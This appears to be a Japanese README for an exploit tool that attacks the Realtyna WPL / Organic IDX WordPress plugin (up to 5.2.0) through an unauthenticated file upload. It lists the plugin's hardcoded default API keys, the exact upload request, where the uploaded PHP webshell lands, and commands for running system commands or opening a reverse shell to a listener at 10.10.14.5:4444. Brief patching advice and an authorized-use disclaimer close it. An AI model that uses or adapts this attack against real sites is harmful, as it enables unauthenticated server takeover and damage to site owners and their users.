
Realtyna WPL/Organic IDX WordPressプラグイン向けの未認証任意ファイルアップロードエクスプロイト。PHPウェブシェルのアップロードをRCEに連鎖させ、コマンド実行モードとリバースシェルモードを備えています。
認証なしの任意ファイルアップロードにより、Realtyna WPL / Organic IDX
WordPress プラグイン (real-estate-listing-realtyna-wpl ≤ 5.2.0) で RCE に至ります。
このプラグインは、WordPress の公開 init フックに 「I/O サービス」 を登録しており、
サイトルートで ?wplview=io&wplformat=io を介して認証なしで到達可能です。唯一の関門は、
プラグインのマイグレーションに同梱された静的でハードコードされたデフォルトキーのペア
(すべてのインストールで同一)で、io_status はデフォルトで有効です:
public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w
private_key = Eft76bdh0o2uyhJkbG3T
set_property コマンド (libraries/io/mobile_application/set_property.php → wpl_file::upload) は、
アップロードされた file[] を move_uploaded_file で保存しますが、拡張子/MIME チェックはありません。
そのため、.php ウェブシェルを配置して Web ユーザーとして実行できます。
real-estate-listing-realtyna-wpl ≤ 5.2.0www-data) としての認証なし RCEPython 3 標準ライブラリのみ — 依存関係はありません。
# run a command and print output
python3 exploit.py http://target/ -c id
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://target/ --shell 10.10.14.5:4444
POST /?wplview=io&wplformat=io&public_key=…&private_key=…&cmd=set_property&commands_directory=mobile_application&user_id=1
image_<name>.php という名前の multipart file[] を使用します。image_ プレフィックスは除去されるため、ファイルは
<name>.php として保存されます。wp-content/uploads/WPL/<pid>/<name>.php に配置されます。ここで <pid> は
リクエストによって作成されたプロパティの ID です(レスポンスには表示されません)。このツールは
小さなプロパティ ID を列挙してシェルを見つけます。…/<name>.php?c=<cmd> にアクセスします。real-estate-listing-realtyna-wpl プラグイン ≤ 5.2.0 が有効な WordPress サイト。エンドポイントは
GET /?wplview=io&wplformat=io (プラグインの I/O サービス)で応答します。
プラグインを ≥ 5.3.0 に更新し、アップロードの拡張子/MIME を検証し、
wp-content/uploads から PHP を実行しないようにし、プラグインの静的デフォルト I/O キーを
ローテーションしてください。
許可されたセキュリティテストおよび教育目的のみに使用してください。所有しているシステム、または明示的な テスト許可を得たシステムに対してのみ使用してください。